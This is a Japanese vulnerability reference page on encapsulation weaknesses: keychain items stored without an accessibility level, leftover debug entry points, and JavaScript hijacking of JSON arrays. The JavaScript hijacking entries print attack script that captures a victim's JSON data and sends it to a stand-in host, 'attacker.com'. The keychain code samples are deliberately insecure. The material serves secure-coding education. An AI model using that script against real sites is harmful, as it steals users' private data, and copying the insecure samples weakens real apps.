界: Encapsulation

カプセル化とは、強い境界線を引くことです。Web ブラウザの場合は、自分のモバイル コードが他のモバイル コードに悪用されないようにすることを意味します。サーバー上では、検証されたデータと検証されていないデータ、あるユーザーのデータと別のユーザーのデータ、またはユーザーが見ることを許可されたデータと許可されていないデータの区別などを意味する場合があります。

104 見つかった項目
脆弱性
Abstract
この特定のメソッドは、アクセシビリティ レベルを指定せずにキーチェーンにデータを格納します。
Explanation
データをキーチェーンに格納する際、アイテムにアクセスできる時期を指定するアクセシビリティ レベルを設定する必要があります。設定できるアクセシビリティ レベルは次のとおりです。

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
ユーザーによってデバイスがロック解除されるまで、再起動後はキーチェーン アイテムのデータにアクセスできません。
最初のロック解除後、次回の再起動までデータはアクセス可能なままです。これは、バックグラウンド アプリケーションでアクセスする必要のあるアイテムに推奨されます。この属性を持つアイテムは新しいデバイスに移行されません。このため、別のデバイスのバックアップからリストアした後、これらのアイテムは表示されません。
iOS 4.0 以降で使用できます。

-kSecAttrAccessibleAlways:
デバイスがロックされているかどうかに関係なく、常にキーチェーン アイテムのデータにアクセスできます。
これは、アプリケーションでの使用には推奨されません。暗号化されたバックアップを使用する場合、この属性を持つアイテムは新しいデバイスに移行されます。
iOS 4.0 以降で使用できます。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
デバイスがロック解除されている場合のみ、キーチェーンのデータにアクセスできます。デバイスにパスコードが設定されている場合にのみ使用できます。
これは、アプリケーションがフォアグラウンドにある間にのみアクセスできる必要のあるアイテムに推奨されます。この属性を持つアイテムが新しいデバイスに移行されることはありません。バックアップを新しいデバイスにリストアすると、これらのアイテムは失われます。パスコードなしに、デバイス上でこのクラスにアイテムを格納することはできません。デバイスのパスコードを無効にすると、このクラスのすべてのアイテムが削除されます。
iOS 8.0 以降で使用できます。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
デバイスがロックされているかどうかに関係なく、常にキーチェーン アイテムのデータにアクセスできます。
これは、アプリケーションでの使用には推奨されません。この属性を持つアイテムは新しいデバイスに移行されません。このため、別のデバイスのバックアップからリストアした後、これらのアイテムは表示されません。
iOS 4.0 以降で使用できます。

-kSecAttrAccessibleWhenUnlocked:
デバイスがユーザーによってロック解除されている間のみ、キーチェーン アイテムのデータにアクセスできます。
これは、アプリケーションがフォアグラウンドにある間にのみアクセスできる必要のあるアイテムに推奨されます。暗号化されたバックアップを使用する場合、この属性を持つアイテムは新しいデバイスに移行されます。
これは、アクセシビリティ定数を明示的に設定せずに追加されたキーチェーン アイテムのデフォルト値です。
iOS 4.0 以降で使用できます。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
デバイスがユーザーによってロック解除されている間のみ、キーチェーン アイテムのデータにアクセスできます。
これは、アプリケーションがフォアグラウンドにある間にのみアクセスできる必要のあるアイテムに推奨されます。この属性を持つアイテムは新しいデバイスに移行されません。このため、別のデバイスのバックアップからリストアした後、これらのアイテムは表示されません。
iOS 4.0 以降で使用できます。

キーチェーン保護が最初に導入された際、デフォルト値は kSecAttrAccessibleAlways で、デバイスにアクセスできるユーザーまたはデバイスを盗んだ人がキーチェーンのコンテンツを読み取ることができるため、セキュリティ上の問題が発生していました。現在、デフォルト属性は kSecAttrAccessibleWhenUnlocked で、これは適度に制限が付いたデフォルトです。ただし、Apple の公開ドキュメントでは、デフォルト属性がどうあるべきかについて意見が一致していないため、念のために、この属性をすべてのキーチェーンのアイテムに明示的に設定する必要があります。

例 1: 次の例では、アクセシビリティ レベルを明確に指定せずにキーチェーンのアイテムが格納されており、iOS バージョンによって動作が異なる可能性があります。


...
NSMutableDictionary *dict = [NSMutableDictionary dictionary];
NSData *token = [@"secret" dataUsingEncoding:NSUTF8StringEncoding];

// Configure Keychain Item
[dict setObject:(__bridge id)kSecClassGenericPassword forKey:(__bridge id) kSecClass];
[dict setObject:token forKey:(__bridge id)kSecValueData];
...

OSStatus error = SecItemAdd((__bridge CFDictionaryRef)dict, NULL);
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.objc.insecure_storage_unspecified_keychain_access_policy
Abstract
この特定のメソッドは、アクセシビリティ レベルを指定せずにキーチェーンにデータを格納します。
Explanation
データをキーチェーンに格納する際、アイテムにアクセスできる時期を指定するアクセシビリティ レベルを設定する必要があります。設定できるアクセシビリティ レベルは次のとおりです。

-kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly:
ユーザーによってデバイスがロック解除されるまで、再起動後はキーチェーン アイテムのデータにアクセスできません。
最初のロック解除後、次回の再起動までデータはアクセス可能なままです。これは、バックグラウンド アプリケーションでアクセスする必要のあるアイテムに推奨されます。この属性を持つアイテムは新しいデバイスに移行されません。このため、別のデバイスのバックアップからリストアした後、これらのアイテムは表示されません。
iOS 4.0 以降で使用できます。

-kSecAttrAccessibleAlways:
デバイスがロックされているかどうかに関係なく、常にキーチェーン アイテムのデータにアクセスできます。
これは、アプリケーションでの使用には推奨されません。暗号化されたバックアップを使用する場合、この属性を持つアイテムは新しいデバイスに移行されます。
iOS 4.0 以降で使用できます。

-kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly:
デバイスがロック解除されている場合のみ、キーチェーンのデータにアクセスできます。デバイスにパスコードが設定されている場合にのみ使用できます。
これは、アプリケーションがフォアグラウンドにある間にのみアクセスできる必要のあるアイテムに推奨されます。この属性を持つアイテムが新しいデバイスに移行されることはありません。バックアップを新しいデバイスにリストアすると、これらのアイテムは失われます。パスコードなしに、デバイス上でこのクラスにアイテムを格納することはできません。デバイスのパスコードを無効にすると、このクラスのすべてのアイテムが削除されます。
iOS 8.0 以降で使用できます。

-kSecAttrAccessibleAlwaysThisDeviceOnly:
デバイスがロックされているかどうかに関係なく、常にキーチェーン アイテムのデータにアクセスできます。
これは、アプリケーションでの使用には推奨されません。この属性を持つアイテムは新しいデバイスに移行されません。このため、別のデバイスのバックアップからリストアした後、これらのアイテムは表示されません。
iOS 4.0 以降で使用できます。

-kSecAttrAccessibleWhenUnlocked:
デバイスがユーザーによってロック解除されている間のみ、キーチェーン アイテムのデータにアクセスできます。
これは、アプリケーションがフォアグラウンドにある間にのみアクセスできる必要のあるアイテムに推奨されます。暗号化されたバックアップを使用する場合、この属性を持つアイテムは新しいデバイスに移行されます。
これは、アクセシビリティ定数を明示的に設定せずに追加されたキーチェーン アイテムのデフォルト値です。
iOS 4.0 以降で使用できます。

-kSecAttrAccessibleWhenUnlockedThisDeviceOnly:
デバイスがユーザーによってロック解除されている間のみ、キーチェーン アイテムのデータにアクセスできます。
これは、アプリケーションがフォアグラウンドにある間にのみアクセスできる必要のあるアイテムに推奨されます。この属性を持つアイテムは新しいデバイスに移行されません。このため、別のデバイスのバックアップからリストアした後、これらのアイテムは表示されません。
iOS 4.0 以降で使用できます。

キーチェーン保護が最初に導入された際、デフォルト値は kSecAttrAccessibleAlways で、デバイスにアクセスできるユーザーまたはデバイスを盗んだ人がキーチェーンのコンテンツを読み取ることができるため、セキュリティ上の問題が発生していました。現在、デフォルト属性は kSecAttrAccessibleWhenUnlocked で、これは適度に制限が付いたデフォルトです。ただし、Apple の公開ドキュメントでは、デフォルト属性がどうあるべきかについて意見が一致していないため、念のために、この属性をすべてのキーチェーンのアイテムに明示的に設定する必要があります。

例 1: 次の例では、アクセシビリティ レベルを明確に指定せずにキーチェーンのアイテムが格納されており、iOS バージョンによって動作が異なる可能性があります。


...
// Configure Keychain Item
let token = "secret"
var query = [String : AnyObject]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecValueData as String] = token as AnyObject?

SecItemAdd(query as CFDictionary, nil)
...
References
[1] Keychain Services Apple
[2] Keychain Item Accessibility Constants Apple
[3] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 3
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 359
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[14] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-AUTH-2, MASVS-STORAGE-2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.3.1, Requirement 3.5.1, Requirement 4.2.2, Requirement 6.2.4, Requirement 8.3.1
desc.dataflow.swift.insecure_storage_unspecified_keychain_access_policy
Abstract
デバッグコードは配置された Web アプリケーションに意図しないエントリポイントを作ってしまうことになります。
Explanation
一般的な開発方法では、アプリケーションで配布または実装されることのないデバッグまたはテスト用の「裏口」コードを追加します。この種のデバッグコードが誤ってアプリケーションに残された場合、アプリケーションは意図しない相互作用に対して開放されていることになります。これらの裏口エントリポイントは、設計やテスト中に想定されるアプリケーションの操作状況で考慮されていないため、セキュリティリスクを発生させることになります。

忘れられているデバッグコードで最も一般的な例が、Web アプリケーションに表示される main() メソッドです。これは製品開発中に認められる方法ですが、製品版 J2EE アプリケーションの一部であるクラスは main() を定義しません。
References
[1] ENV06-J. Production code must not contain debugging entry points CERT
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[6] Standards Mapping - Common Weakness Enumeration CWE ID 489
[7] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[8] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[9] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 14.3.2 Unintended Security Disclosure Requirements (L1 L2 L3), 14.2.2 Dependency (L1 L2 L3)
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
desc.structural.java.j2ee_badpractices_leftover_debug_code
Abstract
機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザでは、悪意ある Web サイトからユーザーを保護するために同一生成元ポリシーが強制されます。同一生成元ポリシーでは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript および Web ページの両方が同じドメインを由来としていることが必要とされます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが機密情報のやり取りに JavaScript を使用する場合に、攻撃者は 同一生成元ポリシーを回避することが可能となります。同一生成元ポリシーに抜け穴があると、任意の Web サイトの JavaScript が追加され他の Web サイトのコンテンツが実行されることになります。悪意あるサイトはクライアント上の脆弱なサイトからロードされたデータを直接調べることはできませんが、JavaScript の実行やその実行によって引き起こされる副次的な状況を把握できる環境を整えるという方法で、この抜け穴を利用することができます。多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため、脆弱となるケースが多くなっています (通常の Web アプリケーションは脆弱ではありません)。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.java.javascript_hijacking
Abstract
機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザーは、悪意のある Web サイトからユーザーを保護するために、同一生成元ポリシーを適用します。同一生成元ポリシーは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript と Web ページの両方が同じドメインを由来としていることを求めます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが JavaScript を使用して機密情報を通信する場合、攻撃者が同一生成元ポリシーをバイパスできてしまいます。同一生成元ポリシーの抜け穴は、Web サイトの JavaScript を他の Web サイトのコンテキストに組み込んで実行できてしまうことです。悪意のあるサイトは、クライアントの脆弱なサイトから読み込まれたデータを直接調べることはできませんが、JavaScript の実行とそれに関連する副作用を監視する環境を構築することで、この抜け穴を利用します。従来の Web アプリケーションとは異なり、多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため脆弱です。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.javascript.javascript_hijacking
Abstract
機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。ブラウザの JavaScript エンジンが配列コンストラクタのポイズニングを許す場合、JavaScript 配列を盗まれる可能性があります。
Explanation
次の場合にアプリケーションは JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。
1) データ転送形式として JavaScript オブジェクトを使用する場合。
2) 機密データを扱う場合。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザでは、悪意ある Web サイトからユーザーを保護するために同一生成元ポリシーが強制されます。同一生成元ポリシーでは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript および Web ページの両方が同じドメインを由来としていることが必要とされます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが機密情報のやり取りに JavaScript を使用する場合に、攻撃者は 同一生成元ポリシーを回避することが可能となります。同一生成元ポリシーに抜け穴があると、任意の Web サイトの JavaScript が追加され他の Web サイトのコンテンツが実行されることになります。悪意あるサイトはクライアント上の脆弱なサイトからロードされたデータを直接調べることはできませんが、JavaScript の実行やその実行によって引き起こされる副次的な状況を把握できる環境を整えるという方法で、この抜け穴を利用することができます。多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため、脆弱となるケースが多くなっています (通常の Web アプリケーションは脆弱ではありません)。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
